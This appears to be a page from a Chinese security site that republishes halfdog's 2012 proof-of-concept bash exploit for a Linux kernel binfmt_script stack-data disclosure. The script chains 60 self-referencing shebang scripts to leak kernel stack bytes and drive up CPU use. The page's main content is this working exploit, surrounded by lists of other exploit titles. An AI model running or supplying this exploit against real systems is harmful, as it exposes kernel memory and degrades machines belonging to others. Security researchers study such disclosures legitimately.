首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Linux binfmt_script Disclosure
来源:http://www.halfdog.net 作者:halfdog 发布时间:2012-10-12  

#!/bin/bash
# This software is provided by the copyright owner "as is" and any
# expressed or implied warranties, including, but not limited to,
# the implied warranties of merchantability and fitness for a particular
# purpose are disclaimed. In no event shall the copyright owner be
# liable for any direct, indirect, incidential, special, exemplary or
# consequential damages, including, but not limited to, procurement
# of substitute goods or services, loss of use, data or profits or
# business interruption, however caused and on any theory of liability,
# whether in contract, strict liability, or tort, including negligence
# or otherwise, arising in any way out of the use of this software,
# even if advised of the possibility of such damage.
#
# Copyright (c) 2011 halfdog <me (%) halfdog.net>
#
# Description: This program creates a series of scripts calling
# each other leading to exposure of kernel stack bytes and higher
# CPU consumption.
#
# Usage: Use only for educational purposes on testing equipment. When
# run in empty directory, script will produce file "output" containing
# parts of stack depending on length of "filePrefix" variable content.
#
# See http://www.halfdog.net/Security/2012/LinuxKernelBinfmtScriptStackDataDisclosure/
# for details.

fileNum=0
filePrefix=$'\r'"file-AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"

while [ "${fileNum}" != 60 ]; do
  lastNum="${fileNum}"
  lastName="${filePrefix}-${lastNum}"
  let fileNum=fileNum+1
  fileName="${filePrefix}-${fileNum}"
  cat <<EOF > "${lastName}"
#!${fileName} xxx
echo "Not reached"
EOF
  chmod 0755 -- "${lastName}"
done

cat <<EOF > "${fileName}"
#!/bin/bash
echo "Args"
cat /proc/\$\$/cmdline
EOF
chmod 0755 -- "${fileName}"

"./${filePrefix}-0" | tee output | xxd
rm -- *file-*


 
[推荐] [评论(1条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·PHP 5.3.4 com_event_sink 0-Day
·Apple iOS MobileSafari LibTIFF
·Microsoft Office Excel ReadAV
·Apple iOS MobileMail LibTIFF B
·MS12-063 Microsoft Internet Ex
·KeyHelp ActiveX LaunchTriPane
·HP Application Lifecycle Manag
·Oracle Business Transaction Ma
·Metasploit < v4.4 pcap_log Plu
·Windows Escalate UAC Execute R
·Project Pier Arbitrary File Up
·Apple iOS Default SSH Password
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved